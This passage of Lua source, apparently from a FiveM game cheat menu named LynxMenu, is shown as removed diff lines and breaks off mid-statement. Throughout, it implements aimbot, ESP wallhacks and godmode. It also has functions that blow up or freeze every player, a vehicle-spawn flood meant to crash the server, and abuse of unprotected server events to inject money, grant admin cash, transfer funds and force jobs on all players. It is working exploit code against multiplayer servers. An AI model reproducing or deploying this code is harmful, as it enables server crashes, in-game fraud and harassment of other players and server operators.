- if blipSprite ~= 421 then
- SetBlipSprite(blip, 421)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
- SetBlipNameToPlayerName(blip, f)
- end
- elseif blipSprite ~= 1 then
- SetBlipSprite(blip, 1)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
- SetBlipNameToPlayerName(blip, f)
- end
- passengers = GetVehicleNumberOfPassengers(veh)
- if passengers then
- if not IsVehicleSeatFree(veh, -1) then
- passengers = passengers + 1
- end
- ShowNumberOnBlip(blip, passengers)
- else
- HideNumberOnBlip(blip)
- end
- else
- HideNumberOnBlip(blip)
- if blipSprite ~= 1 then
- SetBlipSprite(blip, 1)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
- SetBlipNameToPlayerName(blip, f)
- end
- end
- SetBlipRotation(blip, math.ceil(GetEntityHeading(veh)))
- SetBlipNameToPlayerName(blip, f)
- SetBlipScale(blip, 0.85)
- if IsPauseMenuActive() then
- SetBlipAlpha(blip, 255)
- else
- x1, y1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
- x2, y2 = table.unpack(GetEntityCoords(GetPlayerPed(f), true))
- distance =
- math.floor(math.abs(math.sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2))) / -1) +
- 900
- if distance < 0 then
- distance = 0
- elseif distance > 255 then
- distance = 255
- end
- SetBlipAlpha(blip, distance)
- end
- end
- else
- RemoveBlip(blip)
- end
- end
- end
- end
- end
- )
- local cP = {
- __gc = function(cQ)
- if cQ.destructor and cQ.handle then
- cQ.destructor(cQ.handle)
- end
- cQ.destructor = nil
- cQ.handle = nil
- end
- }
- function EnumerateEntities(cR, cS, cT)
- return coroutine.wrap(
- function()
- local cU, f = cR()
- if not f or f == 0 then
- cT(cU)
- return
- end
- local cQ = {
- handle = cU,
- destructor = cT
- }
- setmetatable(cQ, cP)
- local cV = true
- repeat
- coroutine.yield(f)
- cV, f = cS(cU)
- until not cV
- cQ.destructor, cQ.handle = nil, nil
- cT(cU)
- end
- )
- end
- function EnumeratePeds()
- return EnumerateEntities(FindFirstPed, FindNextPed, EndFindPed)
- end
- function EnumerateVehicles()
- return EnumerateEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle)
- end
- function EnumerateObjects()
- return EnumerateEntities(FindFirstObject, FindNextObject, EndFindObject)
- end
- function RotationToDirection(cW)
- local cX = cW.z * 0.0174532924
- local cY = cW.x * 0.0174532924
- local cZ = math.abs(math.cos(cY))
- return vector3(-math.sin(cX) * cZ, math.cos(cX) * cZ, math.sin(cY))
- end
- function OscillateEntity(entity, c_, d0, d1, d2)
- if entity ~= 0 and entity ~= nil then
- local d3 = (d0 - c_) * d1 * d1 - 2.0 * d1 * d2 * GetEntityVelocity(entity)
- ApplyForceToEntity(entity, 3, d3.x, d3.y, d3.z + 0.1, 0.0, 0.0, 0.0, false, false, true, true, false, true)
- end
- end
- local d4 = true
- Citizen.CreateThread(
- function()
- while bw do
- Citizen.Wait(0)
- SetPlayerInvincible(PlayerId(), Godmode)
- SetEntityInvincible(PlayerPedId(-1), Godmode)
- SetEntityVisible(GetPlayerPed(-1), d4, 0)
- if SuperJump then
- SetSuperJumpThisFrame(PlayerId(-1))
- end
- if InfStamina then
- RestorePlayerStamina(PlayerId(-1), 1.0)
- end
- if fastrun then
- SetRunSprintMultiplierForPlayer(PlayerId(-1), 2.49)
- SetPedMoveRateOverride(GetPlayerPed(-1), 2.15)
- else
- SetRunSprintMultiplierForPlayer(PlayerId(-1), 1.0)
- SetPedMoveRateOverride(GetPlayerPed(-1), 1.0)
- end
- if VehicleGun then
- local d5 = 'Freight'
- local c0 = GetEntityCoords(GetPlayerPed(-1), true)
- if IsPedInAnyVehicle(GetPlayerPed(-1), true) == false then
- av('~g~Vehicle Gun Enabled!~n~~w~Use The ~b~AP Pistol~n~~b~Aim ~w~and ~b~Shoot!', false)
- GiveWeaponToPed(GetPlayerPed(-1), GetHashKey('WEAPON_APPISTOL'), 999999, false, true)
- SetPedAmmo(GetPlayerPed(-1), GetHashKey('WEAPON_APPISTOL'), 999999)
- if GetSelectedPedWeapon(GetPlayerPed(-1)) == GetHashKey('WEAPON_APPISTOL') then
- if IsPedShooting(GetPlayerPed(-1)) then
- while not HasModelLoaded(GetHashKey(d5)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(d5))
- end
- local veh =
- CreateVehicle(
- GetHashKey(d5),
- c0.x + 5 * GetEntityForwardX(GetPlayerPed(-1)),
- c0.y + 5 * GetEntityForwardY(GetPlayerPed(-1)),
- c0.z + 2.0,
- GetEntityHeading(GetPlayerPed(-1)),
- true,
- true
- )
- SetEntityAsNoLongerNeeded(veh)
- SetVehicleForwardSpeed(veh, 150.0)
- end
- end
- end
- end
- if DeleteGun then
- local d6 = getEntity(PlayerId(-1))
- if IsPedInAnyVehicle(GetPlayerPed(-1), true) == false then
- av('~g~Delete Gun Enabled!~n~~w~Use The ~b~Pistol~n~~b~Aim ~w~and ~b~Shoot ~w~To Delete!')
- GiveWeaponToPed(GetPlayerPed(-1), GetHashKey('WEAPON_PISTOL'), 999999, false, true)
- SetPedAmmo(GetPlayerPed(-1), GetHashKey('WEAPON_PISTOL'), 999999)
- if GetSelectedPedWeapon(GetPlayerPed(-1)) == GetHashKey('WEAPON_PISTOL') then
- if IsPlayerFreeAiming(PlayerId(-1)) then
- if IsEntityAPed(d6) then
- if IsPedInAnyVehicle(d6, true) then
- if IsControlJustReleased(1, 142) then
- SetEntityAsMissionEntity(GetVehiclePedIsIn(d6, true), 1, 1)
- DeleteEntity(GetVehiclePedIsIn(d6, true))
- SetEntityAsMissionEntity(d6, 1, 1)
- DeleteEntity(d6)
- av('~g~Deleted!')
- end
- else
- if IsControlJustReleased(1, 142) then
- SetEntityAsMissionEntity(d6, 1, 1)
- DeleteEntity(d6)
- av('~g~Deleted!')
- end
- end
- else
- if IsControlJustReleased(1, 142) then
- SetEntityAsMissionEntity(d6, 1, 1)
- DeleteEntity(d6)
- av('~g~Deleted!')
- end
- end
- end
- end
- end
- end
- if fuckallcars then
- for ay in EnumerateVehicles() do
- if not IsPedAPlayer(GetPedInVehicleSeat(ay, -1)) then
- SetVehicleHasBeenOwnedByPlayer(ay, false)
- SetEntityAsMissionEntity(ay, false, false)
- StartVehicleAlarm(ay)
- DetachVehicleWindscreen(ay)
- SmashVehicleWindow(ay, 0)
- SmashVehicleWindow(ay, 1)
- SmashVehicleWindow(ay, 2)
- SmashVehicleWindow(ay, 3)
- SetVehicleTyreBurst(ay, 0, true, 1000.0)
- SetVehicleTyreBurst(ay, 1, true, 1000.0)
- SetVehicleTyreBurst(ay, 2, true, 1000.0)
- SetVehicleTyreBurst(ay, 3, true, 1000.0)
- SetVehicleTyreBurst(ay, 4, true, 1000.0)
- SetVehicleTyreBurst(ay, 5, true, 1000.0)
- SetVehicleTyreBurst(ay, 4, true, 1000.0)
- SetVehicleTyreBurst(ay, 7, true, 1000.0)
- SetVehicleDoorBroken(ay, 0, true)
- SetVehicleDoorBroken(ay, 1, true)
- SetVehicleDoorBroken(ay, 2, true)
- SetVehicleDoorBroken(ay, 3, true)
- SetVehicleDoorBroken(ay, 4, true)
- SetVehicleDoorBroken(ay, 5, true)
- SetVehicleDoorBroken(ay, 6, true)
- SetVehicleDoorBroken(ay, 7, true)
- SetVehicleLights(ay, 1)
- Citizen.InvokeNative(0x1FD09E7390A74D54, ay, 1)
- SetVehicleNumberPlateTextIndex(ay, 5)
- SetVehicleNumberPlateText(ay, 'LynxMenu')
- SetVehicleDirtLevel(ay, 10.0)
- SetVehicleModColor_1(ay, 1)
- SetVehicleModColor_2(ay, 1)
- SetVehicleCustomPrimaryColour(ay, 255, 51, 255)
- SetVehicleCustomSecondaryColour(ay, 255, 51, 255)
- SetVehicleBurnout(ay, true)
- end
- end
- end
- if destroyvehicles then
- for vehicle in EnumerateVehicles() do
- if vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false) then
- NetworkRequestControlOfEntity(vehicle)
- SetVehicleUndriveable(vehicle, true)
- SetVehicleEngineHealth(vehicle, 0)
- end
- end
- end
- if explodevehicles then
- for vehicle in EnumerateVehicles() do
- if vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false) then
- NetworkRequestControlOfEntity(vehicle)
- NetworkExplodeVehicle(vehicle, true, true, false)
- end
- end
- end
- if huntspam then
- Citizen.Wait(1)
- TriggerServerEvent('esx-qalle-hunting:reward', 20000)
- TriggerServerEvent('esx-qalle-hunting:sell')
- end
- if deletenearestvehicle then
- for vehicle in EnumerateVehicles() do
- if vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false) then
- SetEntityAsMissionEntity(GetVehiclePedIsIn(vehicle, true), 1, 1)
- DeleteEntity(GetVehiclePedIsIn(vehicle, true))
- SetEntityAsMissionEntity(vehicle, 1, 1)
- DeleteEntity(vehicle)
- end
- end
- end
- if freezeplayer then
- ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
- end
- if freezeall then
- for i = 0, 128 do
- ClearPedTasksImmediately(GetPlayerPed(i))
- end
- end
- if aimtest then
- if IsPlayerFreeAiming(PlayerId()) then
- local TargetPed = getEntity(PlayerId())
- local TargetPos = GetEntityCoords(TargetPed)
- local Exist = DoesEntityExist(TargetPed)
- local Dead = IsPlayerDead(TargetPed)
- if Exist and not Dead and IsEntityAPed(TargetPed) then
- local OnScreen, ScreenX, ScreenY = World3dToScreen2d(TargetPos.x, TargetPos.y, TargetPos.z, 0)
- if IsEntityVisible(TargetPed) and OnScreen then
- if HasEntityClearLosToEntity(PlayerPedId(), TargetPed, 100000) then
- local TargetCoords = GetPedBoneCoords(TargetPed, 31086, 0, 0, 0)
- SetPedShootsAtCoord(PlayerPedId(), TargetCoords.x, TargetCoords.y, TargetCoords.z, 1)
- SetPedShootsAtCoord(PlayerPedId(), TargetCoords.x, TargetCoords.y, TargetCoords.z, 1)
- end
- end
- end
- end
- end
- if esp then
- for i = 0, 128 do
- if i ~= PlayerId(-1) and GetPlayerServerId(i) ~= 0 then
- local a8 = k(1.0)
- local d7 = GetPlayerPed(i)
- local d8, d9, da = table.unpack(GetEntityCoords(PlayerPedId(-1)))
- local x, y, z = table.unpack(GetEntityCoords(d7))
- local db =
- '~h~Name: ' ..
- GetPlayerName(i) ..
- '\nServer ID: ' ..
- GetPlayerServerId(i) ..
- '\nPlayer ID: ' ..
- i ..
- '\nDist: ' ..
- math.round(GetDistanceBetweenCoords(d8, d9, da, x, y, z, true), 1)
- if IsPedInAnyVehicle(d7, true) then
- local dc =
- GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsUsing(d7))))
- db = db .. '\nVeh: ' .. dc
- end
- if espinfo and esp then
- DrawText3D(x, y, z - 1.0, db, a8.r, a8.g, a8.b)
- end
- if espbox and esp then
- LineOneBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, -0.9)
- LineOneEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, -0.9)
- LineTwoBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, -0.9)
- LineTwoEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, -0.9)
- LineThreeBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, -0.9)
- LineThreeEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, -0.9)
- LineFourBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, -0.9)
- TLineOneBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, 0.8)
- TLineOneEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, 0.8)
- TLineTwoBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, 0.8)
- TLineTwoEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, 0.8)
- TLineThreeBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, 0.8)
- TLineThreeEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, 0.8)
- TLineFourBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, 0.8)
- ConnectorOneBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, 0.8)
- ConnectorOneEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, -0.9)
- ConnectorTwoBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, 0.8)
- ConnectorTwoEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, -0.9)
- ConnectorThreeBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, 0.8)
- ConnectorThreeEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, -0.9)
- ConnectorFourBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, 0.8)
- ConnectorFourEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, -0.9)
- DrawLine(
- LineOneBegin.x,
- LineOneBegin.y,
- LineOneBegin.z,
- LineOneEnd.x,
- LineOneEnd.y,
- LineOneEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- LineTwoBegin.x,
- LineTwoBegin.y,
- LineTwoBegin.z,
- LineTwoEnd.x,
- LineTwoEnd.y,
- LineTwoEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- LineThreeBegin.x,
- LineThreeBegin.y,
- LineThreeBegin.z,
- LineThreeEnd.x,
- LineThreeEnd.y,
- LineThreeEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- LineThreeEnd.x,
- LineThreeEnd.y,
- LineThreeEnd.z,
- LineFourBegin.x,
- LineFourBegin.y,
- LineFourBegin.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- TLineOneBegin.x,
- TLineOneBegin.y,
- TLineOneBegin.z,
- TLineOneEnd.x,
- TLineOneEnd.y,
- TLineOneEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- TLineTwoBegin.x,
- TLineTwoBegin.y,
- TLineTwoBegin.z,
- TLineTwoEnd.x,
- TLineTwoEnd.y,
- TLineTwoEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- TLineThreeBegin.x,
- TLineThreeBegin.y,
- TLineThreeBegin.z,
- TLineThreeEnd.x,
- TLineThreeEnd.y,
- TLineThreeEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- TLineThreeEnd.x,
- TLineThreeEnd.y,
- TLineThreeEnd.z,
- TLineFourBegin.x,
- TLineFourBegin.y,
- TLineFourBegin.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- ConnectorOneBegin.x,
- ConnectorOneBegin.y,
- ConnectorOneBegin.z,
- ConnectorOneEnd.x,
- ConnectorOneEnd.y,
- ConnectorOneEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- ConnectorTwoBegin.x,
- ConnectorTwoBegin.y,
- ConnectorTwoBegin.z,
- ConnectorTwoEnd.x,
- ConnectorTwoEnd.y,
- ConnectorTwoEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- ConnectorThreeBegin.x,
- ConnectorThreeBegin.y,
- ConnectorThreeBegin.z,
- ConnectorThreeEnd.x,
- ConnectorThreeEnd.y,
- ConnectorThreeEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- ConnectorFourBegin.x,
- ConnectorFourBegin.y,
- ConnectorFourBegin.z,
- ConnectorFourEnd.x,
- ConnectorFourEnd.y,
- ConnectorFourEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- end
- if esplines and esp then
- DrawLine(d8, d9, da, x, y, z, a8.r, a8.g, a8.b, 255)
- end
- end
- end
- end
- if VehGod and IsPedInAnyVehicle(PlayerPedId(-1), true) then
- SetEntityInvincible(GetVehiclePedIsUsing(PlayerPedId(-1)), true)
- end
- if oneshot then
- SetPlayerWeaponDamageModifier(PlayerId(-1), 100.0)
- local dd = getEntity(PlayerId(-1))
- if IsEntityAPed(dd) then
- if IsPedInAnyVehicle(dd, true) then
- if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
- if IsControlJustReleased(1, 69) then
- NetworkExplodeVehicle(GetVehiclePedIsIn(dd, true), true, true, 0)
- end
- else
- if IsControlJustReleased(1, 142) then
- NetworkExplodeVehicle(GetVehiclePedIsIn(dd, true), true, true, 0)
- end
- end
- end
- end
- else
- SetPlayerWeaponDamageModifier(PlayerId(-1), 1.0)
- end
- if rainbowf then
- for i = 1, 7 do
- Citizen.Wait(100)
- SetPedWeaponTintIndex(GetPlayerPed(-1), 1198879012, i)
- i = i + 1
- if i == 7 then
- i = 1
- end
- end
- end
- if BlowDrugsUp then
- Citizen.CreateThread(
- function()
- TriggerServerEvent('esx_drugs:startHarvestWeed')
- TriggerServerEvent('esx_drugs:startHarvestCoke')
- TriggerServerEvent('esx_drugs:startHarvestMeth')
- TriggerServerEvent('esx_drugs:startTransformOpium')
- TriggerServerEvent('esx_drugs:startTransformWeed')
- TriggerServerEvent('esx_drugs:startTransformCoke')
- TriggerServerEvent('esx_drugs:startTransformMeth')
- TriggerServerEvent('esx_drugs:startTransformOpium')
- TriggerServerEvent('esx_drugs:startSellWeed')
- TriggerServerEvent('esx_drugs:startSellCoke')
- TriggerServerEvent('esx_drugs:startSellMeth')
- TriggerServerEvent('esx_drugs:startSellOpium')
- Citizen.Wait(1000)
- end
- )
- end
- if blowall then
- for i = 0, 128 do
- Citizen.Wait(500)
- AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, 100000.0)
- AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, true)
- end
- end
- if crosshair then
- ShowHudComponentThisFrame(14)
- end
- if crosshairc then
- bz('~r~+', 0.495, 0.484)
- end
- if crosshairc2 then
- bz('~r~.', 0.4968, 0.478)
- end
- if cN then
- local de = false
- local df = 130
- local dg = 0
- for f = 0, 128 do
- if NetworkIsPlayerActive(f) and GetPlayerPed(f) ~= GetPlayerPed(-1) then
- ped = GetPlayerPed(f)
- blip = GetBlipFromEntity(ped)
- x1, y1, z1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
- x2, y2, z2 = table.unpack(GetEntityCoords(GetPlayerPed(f), true))
- distance = math.floor(GetDistanceBetweenCoords(x1, y1, z1, x2, y2, z2, true))
- if de then
- if NetworkIsPlayerTalking(f) then
- local dh = k(1.0)
- DrawText3D(
- x2,
- y2,
- z2 + 1.2,
- GetPlayerServerId(f) .. ' | ' .. GetPlayerName(f),
- dh.r,
- dh.g,
- dh.b
- )
- else
- DrawText3D(
- x2,
- y2,
- z2 + 1.2,
- GetPlayerServerId(f) .. ' | ' .. GetPlayerName(f),
- 255,
- 255,
- 255
- )
- end
- end
- if distance < df then
- if not de then
- if NetworkIsPlayerTalking(f) then
- local dh = k(1.0)
- DrawText3D(
- x2,
- y2,
- z2 + 1.2,
- GetPlayerServerId(f) .. ' | ' .. GetPlayerName(f),
- dh.r,
- dh.g,
- dh.b
- )
- else
- DrawText3D(
- x2,
- y2,
- z2 + 1.2,
- GetPlayerServerId(f) .. ' | ' .. GetPlayerName(f),
- 255,
- 255,
- 255
- )
- end
- end
- end
- end
- end
- end
- if showCoords then
- x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
- roundx = tonumber(string.format('%.2f', x))
- roundy = tonumber(string.format('%.2f', y))
- roundz = tonumber(string.format('%.2f', z))
- bz('~r~X:~s~ ' .. roundx, 0.05, 0.00)
- bz('~r~ Y:~s~ ' .. roundy, 0.11, 0.00)
- bz('~r~ Z:~s~ ' .. roundz, 0.17, 0.00)
- end
- function carthieftroll()
- for i = 0, 128 do
- local bK = GetEntityCoords(GetPlayerPed(i))
- TriggerServerEvent('esx_carthief:alertcops', bK.x, bK.y, bK.z)
- end
- end
- function automaticmoneyesx()
- local m = KeyboardInput('Warning, this value can be multiplied!!!', '', 100)
- if cO then
- if m ~= '' then
- local confirm = KeyboardInput('Are you sure? y/n', '', 0)
- if confirm == 'y' then
- end
- av('~h~~g~Testing all ~y~ESX ~g~scripts~s~.', true)
- TriggerServerEvent('esx_carthief:pay', m)
- TriggerServerEvent('esx_jobs:caution', 'give_back', m)
- TriggerServerEvent('esx_fueldelivery:pay', m)
- TriggerServerEvent('esx_carthief:pay', m)
- TriggerServerEvent('esx_godirtyjob:pay', m)
- TriggerServerEvent('esx_pizza:pay', m)
- TriggerServerEvent('esx_ranger:pay', m)
- TriggerServerEvent('esx_garbagejob:pay', m)
- TriggerServerEvent('esx_truckerjob:pay', m)
- TriggerServerEvent('AdminMenu:giveBank', m)
- TriggerServerEvent('AdminMenu:giveCash', m)
- TriggerServerEvent('esx_gopostaljob:pay', m)
- TriggerServerEvent('esx_banksecurity:pay', m)
- TriggerServerEvent('esx_slotmachine:sv:2', m)
- elseif confirm == 'n' then
- av('~h~~b~Operation cancelled~s~.', false)
- else
- av('~h~~b~Invalid Confirmation~s~.', true)
- av('~h~~b~Operation cancelled~s~.', false)
- end
- end
- end
- function vrpdestroy()
- TriggerServerEvent(
- 'lscustoms:payGarage',
- {
- costs = -99999999
- }
- )
- TriggerServerEvent('vrp_slotmachine:server:2', 999999999)
- TriggerServerEvent('Banca:deposit', 999999999)
- TriggerServerEvent('bank:deposit', 999999999)
- local di = GetPlayerServerId(PlayerId())
- for i = 0, 128 do
- TriggerEvent('bank:transfer', di, GetPlayerServerId(i), 99999999)
- end
- end
- if bv then
- esxdestroyv2()
- nukeserver()
- end
- function esxdestroyv2()
- Citizen.CreateThread(
- function()
- TriggerServerEvent('esx_jobs:caution', 'give_back', 9999999999)
- TriggerServerEvent('esx_fueldelivery:pay', 9999999999)
- TriggerServerEvent('esx_carthief:pay', 9999999999)
- TriggerServerEvent('esx_godirtyjob:pay', 9999999999)
- TriggerServerEvent('esx_pizza:pay', 9999999999)
- TriggerServerEvent('esx_ranger:pay', 9999999999)
- TriggerServerEvent('esx_garbagejob:pay', 9999999999)
- TriggerServerEvent('esx_truckerjob:pay', 9999999999)
- TriggerServerEvent('AdminMenu:giveBank', 9999999999)
- TriggerServerEvent('AdminMenu:giveCash', 9999999999)
- TriggerServerEvent('esx_gopostaljob:pay', 9999999999)
- TriggerServerEvent('esx_banksecurity:pay', 9999999999)
- TriggerServerEvent('esx_slotmachine:sv:2', 9999999999)
- for i = 0, 128 do
- TriggerServerEvent(
- 'esx:giveInventoryItem',
- GetPlayerServerId(i),
- 'item_money',
- 'money',
- 1254756
- )
- TriggerServerEvent(
- 'esx:giveInventoryItem',
- GetPlayerServerId(i),
- 'item_money',
- 'money',
- 1254756
- )
- TriggerServerEvent(
- 'esx_billing:sendBill',
- GetPlayerServerId(i),
- 'Purposeless',
- 43161337
- )
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(i), 'police', 3)
- TriggerServerEvent('NB:recruterplayer', i, 'police', 3)
- end
- end
- )
- end
- function giveeveryone()
- Citizen.CreateThread(
- function()
- TriggerServerEvent('esx_jobs:caution', 'give_back', 9999999999)
- TriggerServerEvent('esx_fueldelivery:pay', 9999999999)
- TriggerServerEvent('esx_carthief:pay', 9999999999)
- TriggerServerEvent('esx_godirtyjob:pay', 9999999999)
- TriggerServerEvent('esx_pizza:pay', 9999999999)
- TriggerServerEvent('esx_ranger:pay', 9999999999)
- TriggerServerEvent('esx_garbagejob:pay', 9999999999)
- TriggerServerEvent('esx_truckerjob:pay', 9999999999)
- TriggerServerEvent('AdminMenu:giveBank', 9999999999)
- TriggerServerEvent('AdminMenu:giveCash', 9999999999)
- TriggerServerEvent('esx_gopostaljob:pay', 9999999999)
- TriggerServerEvent('esx_banksecurity:pay', 9999999999)
- TriggerServerEvent('esx_slotmachine:sv:2', 9999999999)
- for i = 0, 128 do
- TriggerServerEvent(
- 'esx:giveInventoryItem',
- GetPlayerServerId(i),
- 'item_money',
- 'money',
- 125475600
- )
- TriggerServerEvent(
- 'esx:giveInventoryItem',
- GetPlayerServerId(i),
- 'item_money',
- 'money',
- 125475600
- )
- end
- end
- )
- end
- function nukeserver()
- Citizen.CreateThread(
- function()
- local dj = 'Avenger'
- local dk = 'CARGOPLANE'
- local dl = 'luxor'
- local dm = 'maverick'
- local dn = 'blimp2'
- while not HasModelLoaded(GetHashKey(dk)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dk))
- end
- while not HasModelLoaded(GetHashKey(dl)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dl))
- end
- while not HasModelLoaded(GetHashKey(dj)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dj))
- end
- while not HasModelLoaded(GetHashKey(dm)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dm))
- end
- while not HasModelLoaded(GetHashKey(dn)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dn))
- end
- for i = 0, 128 do
- local dl =
- CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dj), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dk), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dl), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dm), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
- CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
- CreateVehicle(GetHashKey(dn), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
- AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, 100000.0) and
- AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, true)
- end
- end
- )
- end
- if servercrasherxd then
- Citizen.CreateThread(
- function()
- local dj = 'Avenger'
- local dk = 'CARGOPLANE'
- local dl = 'luxor'
- local dm = 'maverick'
- local dn = 'blimp2'
- while not HasModelLoaded(GetHashKey(dk)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dk))
- end
- while not HasModelLoaded(GetHashKey(dl)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dl))
- end
- while not HasModelLoaded(GetHashKey(dj)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dj))
- end
- while not HasModelLoaded(GetHashKey(dm)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dm))
- end
- while not HasModelLoaded(GetHashKey(dn)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dn))
- end
- for i = 0, 128 do
- for ak = 100, 150 do
- local dl =
- CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dj), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
- CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dk), 2 * GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dl), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
- CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dm), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
- CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
- CreateVehicle(GetHashKey(dn), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true)
- end
- end
- end
- )
- end
- if VehSpeed and IsPedInAnyVehicle(PlayerPedId(-1), true) then
- if IsControlPressed(0, 209) then
- SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId(-1)), 100.0)
- elseif IsControlPressed(0, 210) then
- SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId(-1)), 0.0)
- end
- end
- if TriggerBot then
- local dp, Entity = GetEntityPlayerIsFreeAimingAt(PlayerId(-1), Entity)
- if dp then
